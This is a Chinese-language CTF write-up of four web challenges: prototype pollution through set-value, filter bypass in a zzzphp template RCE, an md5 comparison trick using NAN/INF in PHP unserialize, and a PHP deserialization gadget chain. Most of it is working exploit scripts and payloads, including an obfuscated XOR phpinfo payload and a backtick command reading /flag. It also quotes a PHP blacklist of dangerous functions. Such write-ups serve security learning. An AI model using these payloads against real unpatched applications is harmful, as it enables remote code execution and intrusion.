littlegame
An evil dragon took the beautiful princess, let’s take this challenge!
题目直接给了源码
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
只有两个路由有功能,第一个路由DeveloperControlPanel
是获得flag,那我们就必须知道process.env
的值。
我们跟进第三个路由Privilege
,发现有一个setFn(req.session.knight, key, value);
,而且后两个参数可控,然后就是google发现了set-value
的原型链污染漏洞。
const setFn = require('set-value');
const paths = [ 'constructor.prototype.a0', '__proto__.a1', ];
function check() {
for (const p of paths) {
setFn({}, p, true);
}
for (let i = 0; i < paths.length; i++) {
if (({})[`a${i}`] === true) {
console.log(`Yes with ${paths[i]}`); }
}
}
check();
最后直接按照POC打可以了~
import requests
import json
s = requests.session()
url_1 = "http://eci-2zec04gbl0orfep9sni3.cloudeci1.ichunqiu.com:8888/SpawnPoint"
url_2 = "http://eci-2zec04gbl0orfep9sni3.cloudeci1.ichunqiu.com:8888/Privilege"
url_3 = "http://eci-2zec04gbl0orfep9sni3.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel"
headers = {"Content-Type":"application/json"}
data_1 = {"NewAttributeKey":"constructor.prototype.a0","NewAttributeValue":"sss"}
data_2 = {"key":"a0","password":"sss"}
req_1 = s.get(url_1)
req_2 = s.post(url_2,headers=headers,data=json.dumps(data_1))
req_3 = s.post(url_3,headers=headers,data=json.dumps(data_2))
print(req_3.text)
rceme
命令执行?
题目直接给了源码,大致看了一下这是根据zzzphp V1.6.1 远程代码执行漏洞改变的,只是在这个基础上加了很多过滤。
zzzphp V1.6.1 远程代码执行漏洞分析参考链接
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}
这儿注意一点最后一个正则匹配并没有传入参数,所以最后一个过滤相当于没有~
根据上面的参考链接我们知道payload为:
{if:assert($_request[phpinfo()])}phpinfo();{end if}
其中assert($_request[phpinfo()])
为我们执行的代码,所以我们只需要将一部分绕过过滤就可以了
方法一
RCTF calc
payload:
phpinfo():
(((((1).(5))[1])^(((1).(0.00001))[4])).((((1).(0.1))[2])^(((999**999).(1))[2])).((((1).(5))[1])^(((1).(0.00001))[4])).((((1).(0.1))[2])^((((1).(0.00001))[4])|(((999**999).(1))[2]))).((((1).(0.1))[2])|(((999**999).(1))[1])).((((999**999).(1))[0])^((((1).(0.1))[2])|(((1).(-1))[1]))).((((1).(0.1))[2])|(((1).(0.00001))[4])))()
所以最终的payload为:
?a={if:(((((1).(5))[1])^(((1).(0.00001))[4])).((((1).(0.1))[2])^(((999**999).(1))[2])).((((1).(5))[1])^(((1).(0.00001))[4])).((((1).(0.1))[2])^((((1).(0.00001))[4])|(((999**999).(1))[2]))).((((1).(0.1))[2])|(((999**999).(1))[1])).((((999**999).(1))[0])^((((1).(0.1))[2])|(((1).(-1))[1]))).((((1).(0.1))[2])|(((1).(0.00001))[4])))()}phpinfo();{end if}
方法二
payload:
{if:var_dump(`cat /flag`)}phpinfo();{end if}
由于反引号相当于shell_exec,所以需要我们用var_dump打印出来。
easytrick
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);
trick: 1/0 = INF
payload:
<?php
class trick{
public $trick1;
public $trick2;
public function __construct(){
$this->trick1 = NAN;
$this->trick2 = NAN;
}
}
echo (serialize(new trick()));
<?php
class trick{
public $trick1;
public $trick2;
public function __construct(){
$this->trick1 = INF;
$this->trick2 = INF;
}
}
echo (serialize(new trick()));
babyunserialize
find the flag.
WMCTF的webweb改的,有一些链条被删掉了,不过并不影响做题。
payload:
<?php
namespace DB\SQL {
class Mapper {
protected $props;
function __construct($props,$socket)
{
$this->props = $props;
$this->socket= $socket;
}
}
}
namespace CLI {
class Agent{
protected $server;
function __construct($events,$server)
{
if(!$server)
$this->server = $this;
else
$this->server = $server;
$this->events= $events;
}
}
class WS{
protected $events = [];
function __construct($events)
{
$this->events = $events;
}
}
}
namespace {
$a = new DB\SQL\Mapper(array("write"=>"create_function"),"){}phpinfo();//");
$b = new CLI\Agent('nothing',$a);
$c = new CLI\Agent(array("disconnect"=>array($b,'send')),0);
$d = new CLI\WS($c);
echo urlencode(serialize($d))."\n";
}
?>